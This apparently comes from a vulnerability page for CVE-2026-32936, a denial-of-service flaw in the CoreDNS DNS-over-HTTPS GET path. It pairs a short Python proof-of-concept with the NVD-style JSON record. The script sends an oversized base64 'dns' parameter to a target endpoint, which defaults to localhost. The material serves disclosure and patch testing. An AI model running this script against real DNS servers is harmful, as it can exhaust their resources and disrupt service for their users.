CVE-2026-32936

import requests import base64 def trigger_dos(target_url): """ PoC for CVE-2026-32936: CoreDNS DoH DoS via oversized GET parameter. This script sends a large 'dns' parameter to exhaust server resources. """ # Generate a large payload (e.g., 100KB of 'A's) # The vulnerability occurs during the decoding/unpacking phase before size validation. large_data = 'A' * 100000 # Base64 encode the payload as expected by the DoH 'dns' parameter encoded_payload = base64.b64encode(large_data.encode()).decode() # Construct the malicious GET request parameters params = { 'name': 'example.com', 'type': 'A', 'dns': encoded_payload } try: print(f"Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed or timed out (Server might be unresponsive): {e}") if __name__ == "__main__": # Replace with the actual target CoreDNS DoH endpoint target = "http://127.0.0.1:8053/dns-query" trigger_dos(target)

{"cve": {"id": "CVE-2026-32936", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:36.010", "lastModified": "2026-05-08T16:02:28.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CoreDNS is a DNS server that chains plugins. In versions prior to 1.14.3, the DNS-over-HTTPS (DoH) GET path accepts oversized dns= query parameter values and performs URL query parsing, base64 decoding, and DNS message unpacking before rejecting the request. Unlike the POST path, which applies a bounded read via http.MaxBytesReader limited to 65536 bytes, the GET path has no equivalent size validation before expensive processing. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to force high CPU usage, large transient memory allocations, and elevated garbage-collection pressure, leading to denial of service. This issue has been fixed in version 1.14.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coredns.io:coredns:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.14.3", "matchCriteriaId": "0B1F8FE2-314C-4C38-9F18-099ACCFF0AAD"}]}]}], "references": [{"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}